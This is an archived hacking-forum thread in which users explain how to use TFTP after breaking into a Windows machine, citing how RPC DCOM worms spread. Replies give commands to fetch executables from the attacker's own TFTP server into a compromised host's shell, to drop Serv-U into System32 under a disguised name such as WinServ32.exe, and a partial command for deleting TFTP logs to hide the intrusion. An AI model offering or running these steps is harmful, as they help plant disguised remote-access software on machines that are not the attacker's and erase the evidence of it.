hacking contest

hacking exploits security forum
hacking
compliance articles
upgrade backup exec
information security consultant

Full Version: Tftp
schnibble
I tried and I googled but i couldn't find... Any good links? Topics?
Don't understand how to start that service (is it server?), how tu use it... I saw that all RPC DCOM worms used it. So there has to be a way. Teach me!!!
keith1569
u run tftp on your own computer..it is a server and u tell it the dir that u want the files in to upload to that remote comp....when ur in the shell of the computer you type in tftp -i yourip get filename

for example

tftp -i 12.25.2.1 get r_server.exe

something along those lines

here is a link for tftp

http://www.geocities.com/mach8442000/TFTPD32.zip

you might need to copy and paste the exact url into your browser

hope this helped
schnibble
so it is a service, deamon, server or something like it... is there some other than this with gui? is there some command line like? installed by default on win machines?

it opens port 69, right? is it default port for tftp? or for something else?

thnx
krackatoa
There is a client on Windows Systems: tftp.exe

The server is posted below by keith1569

He has also provided you with the basics of making it work.

-Fire up the server
-Enter the commands on the client to connect to the server and "get" or "put" a file

Now you should get this set up on two machines and learn it yourself.

schnibble
Thanks, I got that. Now, what I was wondering, is there some program like tftpd32.exe which is installed by default on any XP machine, or do i have to use 3rd party software for server?

How did RPC DCOM worms spread themselves? How can they make your )(infected) computer host or server for tftp?

Is tftp.exe also a server???
krackatoa
No windows does not provide a built-in tftp server, just a client. If you want to use a server, you'll need 3rd party software.

The inner workings of the DCOM exploit and subsequent worms has been well documented.

A copy of the source code may be on this board somewhere. This would be a good place to start looking.
xamilQ
imo .. the TFTPserver32.exe of TFTPsuitePro2000 still 0wn3z.

Complete command is: TFTP -i [ur ip] GET [filename].[ext] [Drive]:\[Dir Where U want ur files]\[filename].[ext]

For example: TFTP -i 127.0.0.1 GET Serv-U.exe C:\WINNT\System32\Servu-U.exe

But U also can rename the .exe like this: TFTP -i 127.0.0.1 GET Serv-U.exe C:\WINNT\System32\WinServ32.exe

This U can do for every file smile.gif

U always have to run ur TFTP-server to 'TFTP' files.
Sh4dowWalker
But be aware that TFTP leaves many logs.

Of course you can delete them, and there's one simple command to do this but i won't gives you all on the plate wink.gif

Here's command - it deletes all tftp logs on the whole disk:
CODE

del /F /<missing switch> /Q c:\tftp????


Try to find the answer about this one missing switch you should use. Maybe in the process you will learn something about other switches i've used smile.gif
Tlacaelel
Q: are the TFTP files system file or archieve files?

BTW picked up some good tips on this tread.

thanking 1 and all
ivan288
yea thanx guys some nice info.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.

 
Invision Power Board © 2001-2005 Invision Power Services, Inc.